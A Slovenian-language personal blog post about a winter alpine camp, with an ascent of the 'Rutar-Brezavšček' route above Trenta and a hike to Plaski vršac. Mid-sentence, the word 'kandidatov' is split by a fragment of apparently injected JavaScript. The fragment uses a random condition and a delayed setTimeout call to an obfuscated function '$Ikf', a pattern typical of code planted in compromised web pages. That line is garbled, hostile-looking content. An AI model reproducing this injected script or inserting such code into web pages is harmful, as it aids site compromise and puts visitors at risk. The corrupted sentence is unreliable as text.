Evo, pa sem ga le dočakal…zimski tabor KA PZS namreč. Pred nekaj leti sem se že prijavil na tak tabor, bil sprejet, nato pa je sledilo razočaranje, ker je bil tabor zaradi slabih razmer odpovedan. No, tokrat se mi je le nasmehnila sreča in to že na izboru kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidatov. Sam sem dvomil, ali bi se sploh prijavil, ker sem imel preplezanih premalo »mix« smeri, a na pobudo ex načelnika Boštjana sem vseeno izpolnil prijavnico in izplačalo se je. S strani KA sem dobil povratni e-mail, da sem sprejet na tabor in sledilo je neizmerno veselje, ker sm vedu, da je pred mano še ena lepa dogodivščina…in tako je tudi bilo, saj sem spoznal veliko novih plezalnih kolegov (in kolegico) 🙂, ter se naučil nekaj novih stvari v zvezi z kombiniranim plezanjem v gorah. Razmere res da niso bile odlične, a alpinistične legende pravijo, da dobri alpinisti se kujejo v slabih razmerah (v tem primeru je to bilo napisano bolj motivacijske narave 🙂). Vseeno nam je prvi dan, kljub 2-urnem dostopu do tabora in potem še 2-urnem gaženju do pod stene uspelo preplezati smer po imenu »Rutar-Brezavšček«. Smer nam je postregla z vsem kar se da: od mehkega nepredelanega snega, pa vse do mix raztežajev in ponekod tudi z tako željenim škripavcem in manjšimi zaplatami ledu. Drugi dan smo se zaradi slabih razmer odločili, da ta dan ne bo plezalno obarvan. Tako smo se odločili, da naredimo le kondicijsko turo in pristopimo na Plaski vršac. Na vrhu smo se malo okrepčali in sledil je sestop do tabora, kjer nas je čakalo (psihično) najtežje opravilo, saj je bilo tabora konec in treba je bilo vse pospraviti. Pospravili smo vso svojo opremo, si nadeli nahrbtnike na rame in jo udarli spet proti dolini na izhodiščno točko v bližino vasi Na Skali v Trenti. Plezali smo na območju Velikega Špičja nad Trento.

Plezala sva jaz in Klemen Gerbec (AO Kranj) smer »Rutar-Brezavšček« (II-III, M4 75°/60°, 300m, plezala sva 4h).

avtor Martin Volk